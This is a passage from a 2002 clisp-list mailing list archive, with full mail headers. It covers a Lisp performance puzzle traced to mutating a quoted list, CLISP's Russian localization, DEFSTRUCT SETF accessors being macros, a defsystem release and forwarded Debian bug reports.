Real time: 0.578641 sec. Run time: 0.57 sec. Space: 24115568 Bytes GC: 46, GC time: 0.17 sec. It's a bit too quick so I decide to boost the loop from 1000 to 10000 before compiling. I expect the code will take around 5 seconds to run. Instead it takes 60 seconds! Real time: 60.821857 sec. Run time: 60.09 sec. Space: 2401123568 Bytes GC: 4991, GC time: 22.71 sec. If the loop is increased to 20000 I would expect the code to take around 120 seconds to complete. Instead it takes 484 seconds: Real time: 484.73895 sec. Run time: 482.83 sec. Space: 9602243568 Bytes GC: 21642, GC time: 341.11 sec. Note that this is 850 times slower than the 1000 loop even though the loop was only increased by a factor of 20. The whole time lisp.run is running it's only consuming about 0.7% of available memory according to top. Note the time spent in garbage collection: On the first run 30% of the time is spend in GC. In the second run 37% of the time is spend it GC. By the third run 70% of the time is spent in GC. Regards, Adam From bernardp@cli.di.unipi.it Sun Jun 09 09:14:31 2002 Received: from vsmtp2.tin.it ([212.216.176.222] helo=smtp2.cp.tin.it) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17H5Kn-0007rP-00 for ; Sun, 09 Jun 2002 09:14:29 -0700 Received: from c1p4e3 (80.104.243.250) by smtp2.cp.tin.it (6.5.019) id 3D00AE29000C68E5; Sun, 9 Jun 2002 18:14:14 +0200 Message-ID: <00a401c20fd0$887cf520$faf36850@c1p4e3> Reply-To: "Pierpaolo BERNARDI" From: "Pierpaolo BERNARDI" To: "Adam Warner" , References: <1023542786.1616.86.camel@work> Subject: Re: [clisp-list] Large performance decrease observed with timing loop MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4807.1700 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Jun 9 09:15:02 2002 X-Original-Date: Sun, 9 Jun 2002 18:12:00 +0200 From: "Adam Warner" > (defun merge-list-strings (&rest args) > (let ((index 0) (element 0) (merged (first args))) > (loop for index from 0 to (1- (length (first args))) do from 0 below (length ...) > I then attempt a quick uncompiled speed test: I cannot fathom the reason you did this. BTW, had you compiled the function, you would have probably obtained some useful warnings. Try this: (defun merge-list-strings (&rest args) (let ((accs (make-list (length (first args)) :initial-element '()))) (loop for arg in args do (loop for string in arg for acc on accs do (push string (car acc)))) (mapcar (lambda (l) (apply #'concatenate 'string l)) accs))) P. From lists@consulting.net.nz Sun Jun 09 17:03:00 2002 Received: from ip210-55-214-178.ip.win.co.nz ([210.55.214.178] helo=fire) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17HCe7-00044R-00 for ; Sun, 09 Jun 2002 17:02:55 -0700 Received: from other ([210.55.214.182] helo=localhost.localdomain) by fire with esmtp (Exim 3.35 #1 (Debian)) id 17HCbj-0001L6-00; Mon, 10 Jun 2002 12:00:27 +1200 Subject: Re: [clisp-list] Large performance decrease observed with timing loop From: Adam Warner To: Pierpaolo BERNARDI Cc: clisp-list@lists.sourceforge.net In-Reply-To: <00a401c20fd0$887cf520$faf36850@c1p4e3> References: <1023542786.1616.86.camel@work> <00a401c20fd0$887cf520$faf36850@c1p4e3> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.5 Message-Id: <1023667436.1615.31.camel@work> Mime-Version: 1.0 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Jun 9 17:03:09 2002 X-Original-Date: 10 Jun 2002 12:03:56 +1200 On Mon, 2002-06-10 at 04:12, Pierpaolo BERNARDI wrote: > From: "Adam Warner" > > > (defun merge-list-strings (&rest args) > > (let ((index 0) (element 0) (merged (first args))) > > (loop for index from 0 to (1- (length (first args))) do > > from 0 below (length ...) > > > I then attempt a quick uncompiled speed test: > > I cannot fathom the reason you did this. I cannot fathom the obtuseness of your reply. I did it to get a ballpark idea of how slow the function was. When I increased the loop I was surprised to discover how many times slower the code ran. > BTW, had you compiled the function, you > would have probably obtained some useful > warnings. Well I can delete the index and element from the let and still get the same result without any warnings: (defun merge-list-strings (&rest args) (let ((merged (first args))) (loop for index from 0 to (1- (length (first args))) do (dolist (element (rest args)) (setf (nth index merged) (concatenate 'string (nth index merged) (nth index element))))) merged)) (compile 'merge-list-strings) MERGE-LIST-STRINGS ; NIL ; NIL I increase the loop ten-fold and the performance decreases 120-fold. Did I discover a legitimate performance problem with clisp? Each time the function executes I cannot see why the garbage it generates has to be preserved. Thus I can't see why the loop gets slower and slower until most of the time is spent in GC. Thank you for your contribution which does scale linearly. BTW it generates the wrong result: [2]> (merge-list-strings '("abc" "123") '("def" "456") '("ghi" "789")) ("ghidefabc" "789456123") But that's not the point. The point is to understand why performance decreases so markedly with my version and whether this is unavoidable. Regards, Adam From don-sourceforge@isis.cs3-inc.com Sun Jun 09 17:47:44 2002 Received: from isis.cs3-inc.com ([207.224.119.73]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17HDLU-00009p-00 for ; Sun, 09 Jun 2002 17:47:44 -0700 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id g5A0jkg08699; Sun, 9 Jun 2002 17:45:46 -0700 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforge using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforge@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15619.63161.794950.162617@isis.cs3-inc.com> To: clisp-list@lists.sourceforge.net, Adam Warner Subject: [clisp-list] Large performance decrease observed with timing loop In-Reply-To: References: X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Jun 9 17:48:02 2002 X-Original-Date: Sun, 9 Jun 2002 17:45:45 -0700 > Just posting some information about some large clisp slowdowns I have > observed simply by increasing a timing loop. The slowdowns are not > restricted to clisp (CMUCL performance decreases twice as fast as would > be expected with linear scaling). That should be your first clue. > (defun merge-list-strings (&rest args) > (let ((index 0) (element 0) (merged (first args))) > (loop for index from 0 to (1- (length (first args))) do > (dolist (element (rest args)) > (setf (nth index merged) (concatenate 'string (nth index merged) (nth index element))))) A free hint, this last line has a lot to do with it. > merged)) > > (time > (loop for i from 1 to 1000 do > (merge-list-strings '("abc" "123") '("def" "456") '("ghi" "789")))) > Space: 24115568 Bytes Compare the space lines. That's your next clue. > It's a bit too quick so I decide to boost the loop from 1000 to 10000 > Space: 2401123568 Bytes > If the loop is increased to 20000 I would expect the code to take around > 120 seconds to complete. Instead it takes 484 seconds: > Space: 9602243568 Bytes Note that the space is also a lot more than proportional to the number of iterations. From lists@consulting.net.nz Sun Jun 09 18:11:37 2002 Received: from ip210-55-214-178.ip.win.co.nz ([210.55.214.178] helo=fire) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17HDiW-0001NF-00 for ; Sun, 09 Jun 2002 18:11:32 -0700 Received: from other ([210.55.214.182] helo=localhost.localdomain) by fire with esmtp (Exim 3.35 #1 (Debian)) id 17HDhW-0001Ly-00; Mon, 10 Jun 2002 13:10:30 +1200 Subject: Re: [clisp-list] Large performance decrease observed with timing loop From: Adam Warner To: Don Cohen Cc: clisp-list@lists.sourceforge.net In-Reply-To: <15619.63161.794950.162617@isis.cs3-inc.com> References: <15619.63161.794950.162617@isis.cs3-inc.com> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.5 Message-Id: <1023671614.1784.16.camel@work> Mime-Version: 1.0 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Jun 9 18:12:03 2002 X-Original-Date: 10 Jun 2002 13:13:34 +1200 On Mon, 2002-06-10 at 12:45, Don Cohen wrote: > > Just posting some information about some large clisp slowdowns I have > > observed simply by increasing a timing loop. The slowdowns are not > > restricted to clisp (CMUCL performance decreases twice as fast as would > > be expected with linear scaling). > That should be your first clue. > > > (defun merge-list-strings (&rest args) > > (let ((index 0) (element 0) (merged (first args))) > > (loop for index from 0 to (1- (length (first args))) do > > (dolist (element (rest args)) > > (setf (nth index merged) (concatenate 'string (nth index merged) (nth index element))))) > > A free hint, this last line has a lot to do with it. > > > merged)) Thanks Don. My example kept generating longer lists every time: (time (loop for i from 1 to 10 do (merge-list-strings '("abc" "123") '("def" "456") '("ghi" "789")))) ("abcdefghi" "123456789")("abcdefghidefghi" "123456789456789")("abcdefghidefghidefghi" "123456789456789456789")("abcdefghidefghidefghidefghi" "123456789456789456789456789")("abcdefghidefghidefghidefghidefghi" "123456789456789456789456789456789") ("abcdefghidefghidefghidefghidefghidefghi" "123456789456789456789456789456789456789") ("abcdefghidefghidefghidefghidefghidefghidefghi" "123456789456789456789456789456789456789456789") ("abcdefghidefghidefghidefghidefghidefghidefghidefghi" "123456789456789456789456789456789456789456789456789") ("abcdefghidefghidefghidefghidefghidefghidefghidefghidefghi" "123456789456789456789456789456789456789456789456789456789") ("abcdefghidefghidefghidefghidefghidefghidefghidefghidefghidefghi" "123456789456789456789456789456789456789456789456789456789456789") Real time: 0.004203 sec. Run time: 0.01 sec. Space: 15540 Bytes Please Dan and Pierpaolo consider telling me directly when I've done something stupid. The thread deserved to end straight away when it turned out my whole purpose for making the post was mistaken. Regards, Adam From bernardp@cli.di.unipi.it Sun Jun 09 18:24:18 2002 Received: from vsmtp4.tin.it ([212.216.176.224] helo=smtp4.cp.tin.it) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17HDuq-0001yk-00 for ; Sun, 09 Jun 2002 18:24:16 -0700 Received: from c1p4e3 (212.216.254.117) by smtp4.cp.tin.it (6.5.019) id 3CFE30220018F8A3; Mon, 10 Jun 2002 03:24:04 +0200 Message-ID: <01a701c2101d$57a321c0$75fed8d4@c1p4e3> Reply-To: "Pierpaolo BERNARDI" From: "Pierpaolo BERNARDI" To: "Adam Warner" Cc: References: <1023542786.1616.86.camel@work> <00a401c20fd0$887cf520$faf36850@c1p4e3> <1023667436.1615.31.camel@work> Subject: Re: [clisp-list] Large performance decrease observed with timingloop MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4807.1700 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Jun 9 18:25:02 2002 X-Original-Date: Mon, 10 Jun 2002 03:22:51 +0200 From: "Adam Warner" > Thank you for your contribution which does scale linearly. BTW it > generates the wrong result: Just add a NREVERSE: (apply #'concatenate 'string (nreverse l))) > But that's not the point. The point is to understand why performance > decreases so markedly with my version and whether this is unavoidable. I showed you how to avoid it. Now look closely at your version. Then at mine. Notice the differences. P. From lists@consulting.net.nz Sun Jun 09 19:50:08 2002 Received: from ip210-55-214-178.ip.win.co.nz ([210.55.214.178] helo=fire) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17HFFu-000777-00 for ; Sun, 09 Jun 2002 19:50:06 -0700 Received: from other ([210.55.214.182] helo=localhost.localdomain) by fire with esmtp (Exim 3.35 #1 (Debian)) id 17HFF2-0001NH-00 for ; Mon, 10 Jun 2002 14:48:46 +1200 Subject: Re: [clisp-list] Large performance decrease observed with timingloop From: Adam Warner To: clisp-list@lists.sourceforge.net In-Reply-To: <01a701c2101d$57a321c0$75fed8d4@c1p4e3> References: <1023542786.1616.86.camel@work> <00a401c20fd0$887cf520$faf36850@c1p4e3> <1023667436.1615.31.camel@work> <01a701c2101d$57a321c0$75fed8d4@c1p4e3> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.5 Message-Id: <1023677536.1968.14.camel@work> Mime-Version: 1.0 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Jun 9 19:51:02 2002 X-Original-Date: 10 Jun 2002 14:52:15 +1200 On Mon, 2002-06-10 at 13:22, Pierpaolo BERNARDI wrote: > From: "Adam Warner" > > > Thank you for your contribution which does scale linearly. BTW it > > generates the wrong result: > > Just add a NREVERSE: > > (apply #'concatenate 'string (nreverse l))) > > > But that's not the point. The point is to understand why performance > > decreases so markedly with my version and whether this is unavoidable. > > I showed you how to avoid it. Well you showed me how to create superior code. I just though that my inefficient code was causing a compiler slowdown. I wasn't looking for superior code. I thought I was highlighting an issue with the clisp compiler. Turned out I was wrong. But thank you Bernardi and Don. I managed to get your names right this time :-) > Now look closely at your version. Then at mine. > Notice the differences. That's fine. The problem was I suspected those differences were critical in understanding what was causing the compiler slowdown. But it turned out my code just kept generating larger lists instead of the same list each time. Regards, Adam From samuel.steingold@verizon.net Wed Jun 12 08:41:20 2002 Received: from h000.c001.snv.cp.net ([209.228.32.114] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17IAFL-0004nn-00 for ; Wed, 12 Jun 2002 08:41:19 -0700 Received: (cpmta 16737 invoked from network); 12 Jun 2002 08:41:12 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.114) with SMTP; 12 Jun 2002 08:41:12 -0700 X-Sent: 12 Jun 2002 15:41:12 GMT To: clisp-list@sourceforge.net Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold Message-ID: Lines: 22 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] CLISP is now localized for Russian! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jun 12 08:42:13 2002 X-Original-Date: 12 Jun 2002 11:41:11 -0400 Thanks to Arseny Slobodjuck, CLISP now speaks Russian! $ cvs up $ ./configure --build build-dir $ cd build-dir $ ./.clisp -E KOI8-R -q -norc -L russian -x '(/ 0)' *** - =C4=C5=CC=C5=CE=C9=C5 =CE=C1 =CE=D5=CC=D8 $ please test it and comment on the translations. it is important that you pre-test this (and other features). Please note that if the compilation process fails for you, you should either do nothing and wait for a release (and hope that by that time the problem will be fixed :-), or, better yet, subscribe to and report the problem there. --=20 Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux main(a){printf(a,34,a=3D"main(a){printf(a,34,a=3D%c%s%c,34);}",34);} From Mark.Hecht@morganstanley.com Wed Jun 12 13:09:56 2002 Received: from hqvsbh2.ms.com ([205.228.12.104]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17IERI-0007mR-00 for ; Wed, 12 Jun 2002 13:09:56 -0700 Received: from hqvsbh2.ms.com (localhost [127.0.0.1]) by localhost.ms.com (Postfix) with SMTP id 079271D88 for ; Wed, 12 Jun 2002 16:09:54 -0400 (EDT) Received: from morganstanley.com (unknown [172.27.66.69]) by hqvsbh2.ms.com (internal Postfix) with ESMTP id D24F71D6F for ; Wed, 12 Jun 2002 16:09:53 -0400 (EDT) Message-ID: <3D07AA90.A06304A7@morganstanley.com> From: Mark Hecht Reply-To: Mark.Hecht@morganstanley.com Organization: Morgan Stanley X-Mailer: Mozilla 4.76 [en]C-CCK-MCD MS4.76 V20010517.3 (WinNT; U) X-Accept-Language: en,ja MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] Possible bug: SETF functions generated by DEFSTRUCT Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jun 12 13:10:11 2002 X-Original-Date: Wed, 12 Jun 2002 16:09:52 -0400 I think I may have found a CLISP bug involving the 'SETF' functions generated by DEFSTRUCT for structure components. Given the following three definitions, in the given order: (defun fng () (let ((tmp (make-foo))) (setf (foo-x tmp) 'ok) tmp)) (defstruct foo (x nil)) (defun fok () (let ((tmp (make-foo))) (setf (foo-x tmp) 'ok) tmp)) Executing the functions gives the following results: (fng) ==> *** - EVAL: the function (SETF FOO-X) is undefined (fok) ==> #S(FOO :X OK) There does not appear to be any problem with the 'make' or 'accessor' functions. I'm running Clisp 2.28 on Windows NT 4.0 Thank You, Mark Hecht From samuel.steingold@verizon.net Wed Jun 12 13:55:43 2002 Received: from h005.c001.snv.cp.net ([209.228.32.119] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17IF9Y-0003XZ-00 for ; Wed, 12 Jun 2002 13:55:40 -0700 Received: (cpmta 5384 invoked from network); 12 Jun 2002 13:55:34 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.119) with SMTP; 12 Jun 2002 13:55:34 -0700 X-Sent: 12 Jun 2002 20:55:34 GMT To: Mark.Hecht@morganstanley.com Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Possible bug: SETF functions generated by DEFSTRUCT References: <3D07AA90.A06304A7@morganstanley.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3D07AA90.A06304A7@morganstanley.com> Message-ID: Lines: 17 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jun 12 13:56:05 2002 X-Original-Date: 12 Jun 2002 16:55:33 -0400 > * In message <3D07AA90.A06304A7@morganstanley.com> > * On the subject of "[clisp-list] Possible bug: SETF functions generated by DEFSTRUCT" > * Sent on Wed, 12 Jun 2002 16:09:52 -0400 > * Honorable Mark Hecht writes: > > I think I may have found a CLISP bug involving the 'SETF' functions > generated by DEFSTRUCT for structure components. setf accessors are not required to be functions. CLISP implements them as macros, and, as with all macros, they have to be defined before they are first used. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Small languages require big programs, large languages enable small programs. From marcoxa@octagon.mrl.nyu.edu Thu Jun 13 10:18:27 2002 Received: from octagon.mrl.nyu.edu ([128.122.47.83]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17IYEr-0008Cj-00; Thu, 13 Jun 2002 10:18:25 -0700 Received: (from marcoxa@localhost) by octagon.mrl.nyu.edu (8.11.6/8.9.3) id g5DHJAY06350; Thu, 13 Jun 2002 13:19:10 -0400 Message-Id: <200206131719.g5DHJAY06350@octagon.mrl.nyu.edu> From: Marco Antoniotti To: clocc-list@sourceforge.net CC: matlisp-users@sourceforge.net, ilisp-help@sourceforge.net, cclan-list@sourceforge.net, cmucl-help@cons.org, clisp-list@sourceforge.net, lisp-hug@xanalys.com, lispweb@red-bean.com, sbcl-help@sourceforge.net, ecls-list@lists.sourceforge.net, maxima-users@lists.sourceforge.net Subject: [clisp-list] MK:DEFSYSTEM 3.3i relased in the CLOCC project. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jun 13 11:33:11 2002 X-Original-Date: Thu, 13 Jun 2002 13:19:10 -0400 Hi a new updated releas of MK:DEFSYSTEM has been uploaded to the File Release area of the CLOCC project http://sourceforge.net/projects/clocc The new release is tagged 3.3i and contains the latest CVS additions and a README file with a pointer to the documentation at CMU. Enjoy -- Marco Antoniotti ======================================================== From matomira@acm.org Fri Jun 14 10:54:44 2002 Received: from obelix.plusnet.ch ([194.158.230.8] helo=obelix.spectraweb.ch) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17IvHX-0004bN-00 for ; Fri, 14 Jun 2002 10:54:43 -0700 Received: from localhost (pop-zh-25-1-dialup-63.freesurf.ch [194.230.201.63]) by obelix.spectraweb.ch (8.11.2/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id g5EHsYW13417 for ; Fri, 14 Jun 2002 19:54:34 +0200 Mime-Version: 1.0 (Apple Message framework v482) Content-Type: text/plain; charset=US-ASCII; format=flowed From: Fernando Mato Mira To: clisp-list@lists.sourceforge.net Content-Transfer-Encoding: 7bit Message-Id: X-Mailer: Apple Mail (2.482) Subject: [clisp-list] Fink Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jun 14 10:55:03 2002 X-Original-Date: Fri, 14 Jun 2002 19:55:49 +0200 Hi there, I haven't seen any Fink links in the CLISP site: http://fink.sourceforge.net/pdb/package.php/clisp Regards, Fernando D. Mato Mira From samuel.steingold@verizon.net Fri Jun 14 12:21:23 2002 Received: from h000.c001.snv.cp.net ([209.228.32.114] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17IwdO-00051Z-00 for ; Fri, 14 Jun 2002 12:21:22 -0700 Received: (cpmta 23887 invoked from network); 14 Jun 2002 12:21:15 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.114) with SMTP; 14 Jun 2002 12:21:15 -0700 X-Sent: 14 Jun 2002 19:21:15 GMT To: Fernando Mato Mira Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Fink References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 16 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jun 14 12:22:02 2002 X-Original-Date: 14 Jun 2002 15:21:14 -0400 > * In message > * On the subject of "[clisp-list] Fink" > * Sent on Fri, 14 Jun 2002 19:55:49 +0200 > * Honorable Fernando Mato Mira writes: > > I haven't seen any Fink links in the CLISP site: > > http://fink.sourceforge.net/pdb/package.php/clisp thanks it's in resources now (updated immediately at GNU, nightly at SF) -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Ph.D. stands for "Phony Doctor" - Isaak Asimov, Ph.D. From will@misconception.org.uk Sat Jun 15 09:44:03 2002 Received: from cmailg6.svr.pol.co.uk ([195.92.195.176]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17JGeg-00018d-00 for ; Sat, 15 Jun 2002 09:44:02 -0700 Received: from modem-1169.blotto.dialup.pol.co.uk ([62.25.226.145] helo=there) by cmailg6.svr.pol.co.uk with smtp (Exim 3.35 #1) id 17JGec-00087a-00 for clisp-list@lists.sourceforge.net; Sat, 15 Jun 2002 17:43:58 +0100 Content-Type: text/plain; charset="iso-8859-1" From: Will Newton To: clisp-list@lists.sourceforge.net X-Mailer: KMail [version 1.3.2] MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Subject: [clisp-list] Bug Report: clisp accepts, as accessor to object, name that conflicts with build-in function Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Jun 15 09:45:02 2002 X-Original-Date: Sat, 15 Jun 2002 17:46:58 +0100 Reported via the Debian BTS: Received: (at maintonly) by bugs.debian.org; 5 Jun 2002 16:11:15 +0000 >From gregor_jan@seznam.cz Wed Jun 05 11:11:15 2002 Return-path: Received: from stateless1.tiscali.cz (mail.tiscali.cz) [213.235.135.70] by master.debian.org with esmtp (Exim 3.12 1 (Debian)) id 17FdNT-00059c-00; Wed, 05 Jun 2002 11:11:15 -0500 Received: from localhost (212.11.96.11) by mail.tiscali.cz (6.0.044) id 3CA1A32E0069CB89 for maintonly@bugs.debian.org; Wed, 5 Jun 2002 18:08:48 +0200 Received: from honza by localhost with local (Exim 3.32 #1 (Debian)) id 17FJzf-0000UW-00 for ; Tue, 04 Jun 2002 21:29:23 +0200 Date: Tue, 4 Jun 2002 21:29:23 +0200 From: Jan Gregor To: Debian Bug Tracking System Subject: clisp accepts, as accessor to object, name that conflicts with build-in function Message-ID: <20020604212923.A1875@pisidlo> Reply-To: gregor_jan@seznam.cz Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.22i X-Reportbug-Version: 1.36 Delivered-To: maintonly@bugs.debian.org Package: clisp Version: 1:2.27-0.5 Severity: wishlist I wrote in clisp program that defines class with accessor to one of its slots called type. I tried to run this program under Harlequin Lisp and Alegro. Both reported an error, Harlequin said that type conflicts with function visible from COMMON-LISP. This seems to me that clisp dont check accessor names with build-in functions. -- System Information Debian Release: testing/unstable Architecture: i386 Kernel: Linux pisidlo 2.4.18 #1 Tue Jun 4 12:08:32 CEST 2002 i686 Locale: LANG=cs_CZ, LC_CTYPE=cs_CZ Versions of packages clisp depends on: ii libc6 2.2.5-4 GNU C Library: Shared libraries an ii libncurses5 5.2.20020112a-7 Shared libraries for terminal hand From will@misconception.org.uk Sat Jun 15 09:44:53 2002 Received: from cmailg6.svr.pol.co.uk ([195.92.195.176]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17JGfU-0001C2-00 for ; Sat, 15 Jun 2002 09:44:52 -0700 Received: from modem-1169.blotto.dialup.pol.co.uk ([62.25.226.145] helo=there) by cmailg6.svr.pol.co.uk with smtp (Exim 3.35 #1) id 17JGfR-0008CF-00 for clisp-list@lists.sourceforge.net; Sat, 15 Jun 2002 17:44:50 +0100 Content-Type: text/plain; charset="iso-8859-1" From: Will Newton To: clisp-list@lists.sourceforge.net X-Mailer: KMail [version 1.3.2] MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Subject: [clisp-list] Bug Report: clisp eats whole memory Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Jun 15 09:45:05 2002 X-Original-Date: Sat, 15 Jun 2002 17:47:50 +0100 Reported via Debian BTS: Received: (at submit) by bugs.debian.org; 3 Jun 2002 16:16:16 +0000 >From 